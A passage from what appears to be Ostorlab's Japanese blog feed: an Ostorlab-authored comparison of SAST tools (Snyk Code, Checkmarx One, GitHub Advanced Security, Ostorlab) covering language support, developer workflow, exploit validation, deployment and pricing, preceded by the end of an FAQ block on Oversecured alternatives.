          "acceptedAnswer": {
            "@type": "Answer",
            "text": "共有できるソースコードがない状態でiOSのビルドをテストする場合や、アプリ、そのAPI、そのコードをまとめてテストしたい場合は、OstorlabがOversecuredに最も近い代替ツールであり、モバイルアプリのスキャンが無制限の無料プランもあります。NowSecureとAppknoxは、テストサービスを求めるエンタープライズに適しています。MobSFは、無料のセルフホスト型ツールを求めるチームに適しています。"
          }
        },
        {
          "@type": "Question",
          "name": "Oversecuredの無料の代替ツールはありますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。OstorlabのCommunityプランは無料で、モバイルアプリのスキャンが無制限に含まれています。MobSFは、自分でホストして実行する無料のオープンソースツールです。"
          }
        },
        {
          "@type": "Question",
          "name": "Ostorlabはオンプレミスで実行できますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。OstorlabはEnterpriseプランでオンプレミスで動作し、米国、EU、GCC、APACのデータ保管場所を選べるSaaSも提供しています。"
          }
        },
        {
          "@type": "Question",
          "name": "Oversecuredはオンプレミスで実行できますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。OversecuredはEnterpriseプランでオンプレミスのデプロイを提供しています。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Security"/><category term="Comparison"/><category term="Mobile Security"/></entry><entry><title>SnykとCheckmarxの代替ツール：Ostorlab、Snyk Code、Checkmarx One、GitHub Advanced Securityの比較（2026年）</title><link href="https://blog.ostorlab.co/ja/snyk-checkmarx-github-advanced-security-alternatives.html" rel="alternate"/><published>2026-10-07T10:00:00+02:00</published><updated>2026-10-07T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-10-07:/ja/snyk-checkmarx-github-advanced-security-alternatives.html</id><summary type="html">&lt;p&gt;2026年におけるSnyk Code、Checkmarx One、GitHub Advanced SecurityのSAST代替ツールと、対応言語、開発者ワークフロー、誤検知、エクスプロイトによる実証、ロジックバグ、デプロイ形態、価格の観点でOstorlabがどう比較されるかを解説します。&lt;/p&gt;</summary><content type="html">&lt;h1 id="snykとcheckmarxの代替ツール:ostorlab、snyk code、checkmarx one、github advanced securityの比較"&gt;SnykとCheckmarxの代替ツール：Ostorlab、Snyk Code、Checkmarx One、GitHub Advanced Securityの比較&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;結論&lt;/strong&gt;：静的アプリケーションセキュリティテスト（SAST）におけるSnyk Codeの主な代替ツールは、Ostorlab、GitHub Advanced Security（CodeQL）、Checkmarx One、Semgrep、SonarQubeです。Checkmarx Oneの主な代替ツールは、Ostorlab、Snyk Code、GitHub Advanced Security、Veracode、OpenText Fortifyです。Ostorlabは、SASTの検出結果が悪用可能であることを実証する必要があるチームに向けた代替ツールです。AIエージェントがソースコードをレビューしてロジックの欠陥を探し、各経路を稼働中のWebアプリ、API、モバイルアプリに対してテストします。&lt;/p&gt;
&lt;p&gt;Snyk Code、Checkmarx One、GitHub Advanced Securityは、それぞれ異なる環境で最も力を発揮します。Snyk Codeは、IDEとプルリクエストで作業する開発者向けに作られています。Checkmarx Oneは、幅広い言語カバレッジ、ガバナンス、監査レポートを必要とするエンタープライズのAppSecチーム向けに作られています。GitHub Advanced Securityは、コードがすでにGitHub上にあるチームにとって自然な選択肢です。Ostorlabは異なるアプローチを取ります。コードを稼働中のアプリと一緒にスキャンすると、エージェントは確定した検出結果ごとに実際に動作するエクスプロイトを添付します。実証されていない検出結果が多すぎることが課題である場合や、リスクが自社のコードとそこからビルドされたアプリの間にある場合は、Ostorlabを選んでください。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabの概要&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;概要&lt;/strong&gt;：Ostorlabは、ソースコード、Webアプリ、API、モバイルアプリ（Android、iOS、HarmonyOS）を対象とするアプリケーションセキュリティテストプラットフォームです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;：SASTの検出結果が悪用可能であることの実証を求めるチーム、およびリスクがコード、API、モバイルアプリにまたがるチーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;：SaaS、ハイブリッド、またはオンプレミスのスキャナーノード&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主な機能&lt;/strong&gt;：ロジックの欠陥を探すエージェント型のソースコード分析、コードとそこからビルドされたアプリをまとめて扱うマルチアセットスキャン、稼働中のターゲットに対するエクスプロイト検証、プルリクエストへの修正のプッシュ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主な差別化要素&lt;/strong&gt;：稼働中のアプリがスコープに含まれる場合、OstorlabのAIエージェントが確定した検出結果にはすべて、実際に動作するエクスプロイト、重大度、影響、エビデンスが付きます。リポジトリを単独でスキャンした場合は、エクスプロイトなしで、コードのコンテキストとエビデンスを伴う検出結果が得られます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AIモデル&lt;/strong&gt;：Ostorlab Cyber Models、または自社のAIプロバイダーキー&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;価格&lt;/strong&gt;：&lt;a href="https://ostorlab.co/plans"&gt;公開プラン&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
&lt;p&gt;この比較は、ここで比較対象となっているOstorlabプラットフォームを開発・販売するOstorlabが公開しています。Snyk、Checkmarx、GitHubに関する記述は、2026年10月7日時点の各社の公開Webサイトと製品ドキュメントに基づいており、&lt;a href="#sources"&gt;出典&lt;/a&gt;にリンクを掲載しています。Ostorlabに関する記述は、Ostorlab自身の製品ページとドキュメントに基づいています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：言語カバレッジ、開発者ワークフロー（IDE、プルリクエスト、CI/CD）、誤検知（フォールスポジティブ）の扱い方、検出結果が悪用可能であると実証されるかどうか、ロジックや複数ステップにわたるバグの検出、コードと稼働中のアプリをまたぐテスト、AI支援型の修正、デプロイ形態とデータの管理、価格モデル。&lt;/p&gt;
&lt;h2 id="比較の概要"&gt;比較の概要&lt;/h2&gt;
&lt;div class="post-wide" style="overflow-x:auto; margin:1.5rem 0; padding-bottom:0.5rem;"&gt;
&lt;table class="table table-striped" style="width:100%; min-width:720px; border-collapse:collapse; font-size:0.95rem;"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb; white-space:nowrap;"&gt;機能&lt;/th&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb; white-space:nowrap;"&gt;Snyk Code&lt;/th&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb; white-space:nowrap;"&gt;Checkmarx One&lt;/th&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb; white-space:nowrap;"&gt;GitHub Advanced Security&lt;/th&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb; white-space:nowrap;"&gt;Ostorlab&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;IDEとPRで作業する開発者&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;エンタープライズのAppSecプログラム&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;GitHubを使うチーム&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;実証されたリスクを求めるチーム&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;SASTの対応言語&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;16の言語グループ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;幅広い（COBOL、PL/SQLを含む）&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;CodeQLによる10の言語グループ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;全言語（53言語を掲載）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;コードエディタープラグイン&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ VS Code、JetBrains、Visual Studio、Eclipse&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ Developer Assist&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ GitHubとCopilot経由&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;⚠️ エディタープラグインなし、MCPクライアント経由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;プルリクエストのワークフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ ネイティブ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ PRへ修正をプッシュ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;ノイズ削減&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;シンボリック解析とML解析&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;AIによる検出結果分析とトリアージ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;セマンティックなデータフロー&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;エビデンスを伴うエージェントの推論&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;悪用可能性の実証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;❌&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;❌&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;❌&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ マルチアセットスキャンで対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;ロジックと複数ステップのバグ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;ルールとデータフロー&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;ルール、データフロー、AIモデル&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;CodeQLクエリ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ エージェント型分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;コード、API、モバイルを一つのスキャンで&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;❌&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;❌&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;❌&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;AI支援型の修正&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ Agent Fix&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ AIによる修復&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ Copilot Autofix&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅ PR内での修正&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;SaaS、セルフホストGit向けのBroker&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;クラウド、オンプレミスはCxSAST&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;GitHubクラウド、Azure DevOps&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;SaaS、ハイブリッド、オンプレミス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;自社のAIキー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;⚠️ 修正用、プレビュー段階&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;公開ドキュメントに記載なし&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;公開ドキュメントに記載なし&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;価格&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;無料プランあり、Teamは月額$25から&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;見積もりベース&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;コミッター1人あたり月額でCode Securityが$30、Secret Protectionが$19&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;a href="https://ostorlab.co/plans"&gt;公開プラン&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h2 id="各ツールが最も得意とすること"&gt;各ツールが最も得意とすること&lt;/h2&gt;
&lt;h3 id="snyk code"&gt;Snyk Code&lt;/h3&gt;
&lt;p&gt;Snyk Codeは開発者ファーストのSASTツールで、&lt;a href="https://docs.snyk.io/supported-languages/supported-languages-list"&gt;16の言語グループに対応&lt;/a&gt;しています。Apex、C/C++、COBOL、DartとFlutter、Go、Groovy、JavaとKotlin、JavaScript、.NET（C#とVB.NET）、PHP、Python、Ruby、Rust、Scala、SwiftとObjective-C、TypeScriptです。強みは開発者ワークフローにあります。VS Code、JetBrains IDE、Visual Studio、Eclipse向けのIDEプラグイン、高速なスキャン、そしてSnyk Codeの検出結果に対する修正候補を生成・チェックする&lt;strong&gt;Snyk Agent Fix&lt;/strong&gt;です。Snyk Codeは、オープンソースの依存関係、コンテナ、Infrastructure as Codeもカバーする、より広いSnykプラットフォームの一部です。&lt;/p&gt;
&lt;p&gt;SnykはSaaSです。セルフホストのGitサーバーを持つチームは、製品全体を自社インフラで運用するのではなく、&lt;strong&gt;Snyk Broker&lt;/strong&gt;を介して接続します。パブリックプレビュー中のSnykの&lt;a href="https://docs.snyk.io/scan-fix-and-prevent/fix/remediation-agent"&gt;Remediation Agent&lt;/a&gt;は、自社のLLMキーを使って修正を生成できます。Snykの&lt;a href="https://snyk.io/plans/"&gt;プラン&lt;/a&gt;は無料プランから始まり、Teamプランは月額$25からです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な対象&lt;/strong&gt;：Snyk Codeは、開発者自身がIDEとプルリクエストの中で問題を見つけて修正することを望む、エンジニアリング主導のチームに最適です。&lt;/p&gt;
&lt;h3 id="checkmarx one"&gt;Checkmarx One&lt;/h3&gt;
&lt;p&gt;Checkmarxは、最も歴史のあるエンタープライズ向けSASTベンダーの一つです。&lt;strong&gt;Checkmarx One&lt;/strong&gt;は、SASTにSCA、シークレット、IaC、コンテナ、APIセキュリティを組み合わせています。COBOLやPL/SQLのようなレガシー言語を含む幅広い言語をカバーし、ガバナンス、ポリシー、レポートの機能も充実しています。&lt;strong&gt;Finding Analysis Engine&lt;/strong&gt;は真陽性を確認し、偽陽性を抑制します。Checkmarxは、これにより&lt;a href="https://checkmarx.com/press-releases/checkmarx-one-achieves-industrys-highest-scanning-fidelity-outperforming-both-legacy-tools-and-ai-models/"&gt;誤検知が60%削減されると述べています&lt;/a&gt;。&lt;strong&gt;Triage Assist&lt;/strong&gt;は検出結果を攻撃のしやすさで順位付けし、&lt;a href="https://checkmarx.com/product/developer-assist/"&gt;Developer Assist&lt;/a&gt;はAIによる修正をIDEに持ち込みます。&lt;/p&gt;
&lt;p&gt;Checkmarx Oneはクラウドで動作します。Checkmarxはオンプレミス向けに&lt;strong&gt;CxSAST&lt;/strong&gt;を引き続き販売していますが、&lt;a href="https://checkmarx.com/cxsast-source-code-scanning/"&gt;Checkmarxによれば&lt;/a&gt;、CxSASTは従来のルールベースのエンジンを使用しており、AIベースのエンジン、Finding Analysis Engine、Checkmarx Fusionは含まれていません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な対象&lt;/strong&gt;：Checkmarx Oneは、専任のAppSecチームを持ち、幅広い言語やレガシー言語の資産を抱え、コンプライアンスレポートを必要とする大規模組織に最適です。&lt;/p&gt;
&lt;h3 id="github advanced security(codeql)"&gt;GitHub Advanced Security（CodeQL）&lt;/h3&gt;
&lt;p&gt;GitHub Advanced Securityは現在、&lt;a href="https://github.com/security/plans"&gt;2つの製品として販売されています&lt;/a&gt;。アクティブなコミッター1人あたり月額$30の&lt;strong&gt;GitHub Code Security&lt;/strong&gt;と、アクティブなコミッター1人あたり月額$19の&lt;strong&gt;GitHub Secret Protection&lt;/strong&gt;です。どちらもGitHub TeamまたはEnterpriseプランが必要です。Code Securityには、CodeQLによるコードスキャン、&lt;strong&gt;Copilot Autofix&lt;/strong&gt;、依存関係レビュー、セキュリティキャンペーンが含まれます。パブリックリポジトリでは、コードスキャンとシークレットスキャンがデフォルトで有効になっています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql"&gt;CodeQLの対応範囲&lt;/a&gt;は、C/C++、C#、Go、JavaとKotlin、JavaScriptとTypeScript、Python、Ruby、Rust、Swift、そしてGitHub Actionsのワークフローです。セマンティック解析はファイルをまたいでデータフローを追跡し、デフォルトセットアップではリポジトリ設定からコードスキャンを有効にでき、アラートはプルリクエスト上に表示されます。GitHub以外での主な選択肢は、GitHub Advanced Security for Azure DevOpsです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な対象&lt;/strong&gt;：GitHub Advanced Securityは、リポジトリとプルリクエストがすでにGitHub上にあり、セキュリティも同じ場所で扱いたいチームに最適です。&lt;/p&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;Ostorlabは、ソースコード、Webアプリ、API、モバイルアプリを対象とするアプリケーションセキュリティテストプラットフォームです。Ostorlabはすべてのプログラミング言語に対応しており、&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードのページ&lt;/a&gt;には、Python、JavaScript、TypeScript、Java、Kotlin、Go、C、C++、C#、PHP、Ruby、Rust、Scala、Swift、Objective-C、Dart、Elixir、Zigを含む53の言語が掲載されています。コードをルールセットと照合する代わりに、AIエージェントがファイル間のデータフロー、依存関係、フレームワークのパターン、連鎖する条件について推論します。これにより、パターンマッチングでは見逃されがちな、認可の不備、安全でない状態遷移、ワークフローのバイパスといった複雑な欠陥やビジネスロジックの欠陥を探せます。労力レベル（Core、Advanced、Elite）を選択し、Ostorlab Cyber Modelsまたは自社のAIプロバイダーキーで実行します。&lt;/p&gt;
&lt;p&gt;より大きな違いは、その後に何が起きるかです。&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;では、Ostorlabは自社のリポジトリを、そこからビルドされたWebアプリ、API、モバイルアプリと一緒にスキャンします。その後、エージェントが各経路を稼働中のターゲットに対してテストし、概念実証（PoC）エクスプロイトとともに報告するため、検出結果は理論上のアラートではなく、実証されたリスクとして届きます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な対象&lt;/strong&gt;：Ostorlabは、実証されていないSASTアラートに埋もれているセキュリティチームや、実際のリスクがコード、API、モバイルアプリにまたがるチームに最適です。&lt;/p&gt;
&lt;h2 id="主な違い"&gt;主な違い&lt;/h2&gt;
&lt;h3 id="欠陥の検出か、その実証か"&gt;欠陥の検出か、その実証か&lt;/h3&gt;
&lt;p&gt;Snyk Code、Checkmarx、CodeQLはいずれも静的です。コードパスを実行せずに、それが脆弱に見えるかどうかを判断します。各社はノイズ削減に多大な投資をしてきました。Snykではシンボリック解析と機械学習による解析、CheckmarxではAIによる検出結果分析とトリアージ、CodeQLではセマンティックなデータフロー解析です。これらは検出結果が本物である可能性を高めますが、結果はあくまで予測です。&lt;/p&gt;
&lt;p&gt;Ostorlabは、静的ツールが行わないステップを追加します。稼働中のアプリケーションがスコープに含まれる場合、エージェントは外部から脆弱な経路への到達を試み、リクエスト、レスポンス、影響を記録します。実際に動作するエクスプロイトが付いた検出結果であれば、到達可能かどうかを議論する必要はありません。&lt;/p&gt;
&lt;h3 id="コード単体か、アプリケーション全体を通る経路か"&gt;コード単体か、アプリケーション全体を通る経路か&lt;/h3&gt;
&lt;p&gt;深刻なバグの多くは、一か所にとどまっていません。リポジトリに残されたトークンがAPIに受け入れられ、モバイルアプリから使われる場合、各アセットを個別にスキャンすると、低リスクの検出結果が3つあるように見えます。Snyk、Checkmarx、GitHubは、コードをコードとしてスキャンします。&lt;/p&gt;
&lt;p&gt;Ostorlabのマルチアセットスキャンは、リポジトリ、API、Webバックエンド、モバイルアプリを一つのスキャンにまとめるため、エージェントは弱点を、それを持ち込んだコードから悪用可能なエンドポイントまで追跡できます。開発者は、バグが表面化したエンドポイントだけでなく、コードを指し示す修正を受け取れます。&lt;/p&gt;
&lt;h3 id="開発者ワークフロー"&gt;開発者ワークフロー&lt;/h3&gt;
&lt;p&gt;ここは開発者ファーストのツールが先行している領域です。Snykには成熟したIDEプラグインがあり、CheckmarxはDeveloper AssistをIDEに持ち込み、GitHubはコードスキャンのアラートとCopilot Autofixをプルリクエスト上に直接表示します。&lt;/p&gt;
&lt;p&gt;Ostorlabはプルリクエストのレベルで機能します。レビュー中のブランチ、タグ、コミットをそのままスキャンし、優先順位付けされた検出結果をトリアージし、修正をプルリクエストにプッシュします。コードエディター向けのプラグインは提供していません。Ostorlab独自の&lt;a href="https://docs.ostorlab.co/ide/index.html"&gt;IDE&lt;/a&gt;はプラットフォーム内の分析環境で、セキュリティエンジニアはそこでコードやアプリのファイルを閲覧し、テイント解析、トラフィック、APIリクエストを追跡し、スキャンの上にカスタムチェックを記述します。AIアシスタントを使う開発者は、Cursor、VS Code、Claude Code、Windsurf、Zedなどのクライアントから&lt;a href="https://ostorlab.co/product/mcp"&gt;Ostorlab MCPサーバー&lt;/a&gt;を通じて検出結果にアクセスできます。入力中にIDE内でスキャンすることが要件であれば、SnykまたはCheckmarxのほうが適しています。&lt;/p&gt;
&lt;h3 id="デプロイ形態とデータの管理"&gt;デプロイ形態とデータの管理&lt;/h3&gt;
&lt;p&gt;SnykはSaaSで、セルフホストのソース管理向けにSnyk Brokerがあります。GitHub Advanced SecurityはGitHub上で、またはMicrosoftを通じてAzure DevOps上で動作します。Checkmarxはオンプレミス版のCxSASTを提供していますが、最新のAI機能は含まれていません。&lt;/p&gt;
&lt;p&gt;OstorlabはSaaSとして、またはプライベートリポジトリやリリース前のアプリケーション向けに&lt;a href="https://ostorlab.co/product/on-premises-scanning/source-code"&gt;自社環境内にデプロイしたスキャナーノード&lt;/a&gt;で動作します。AI分析を自社のプロバイダーキーで実行できるため、銀行、医療、政府機関のチームは、コードに関する推論をすでに管理下にあるモデル上で行えます。&lt;/p&gt;
&lt;h3 id="価格モデル"&gt;価格モデル&lt;/h3&gt;
&lt;div style="overflow-x:auto; margin:1.5rem 0;"&gt;
&lt;table class="table table-striped" style="width:100%; border-collapse:collapse; font-size:0.95rem;"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb;"&gt;ツール&lt;/th&gt;
&lt;th style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left; background:#f6f8fb;"&gt;価格&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;Snyk Code&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;無料プランあり、Teamは月額$25から、Enterpriseは見積もり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;Checkmarx One&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;見積もりベース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;GitHub Advanced Security&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;Code Securityはアクティブなコミッター1人あたり月額$30、Secret Protectionは$19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top; text-align:left;"&gt;&lt;a href="https://ostorlab.co/plans"&gt;公開プラン&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;GitHubのコストはコミットする人数に応じて増えるため、小規模なチームには適していますが、大規模なチームでは高額になります。定価だけでなく、チームの規模とカバーすべきアプリケーションの数で比較してください。&lt;/p&gt;
&lt;h2 id="どれを選ぶべきか"&gt;どれを選ぶべきか&lt;/h2&gt;
&lt;ul&gt;
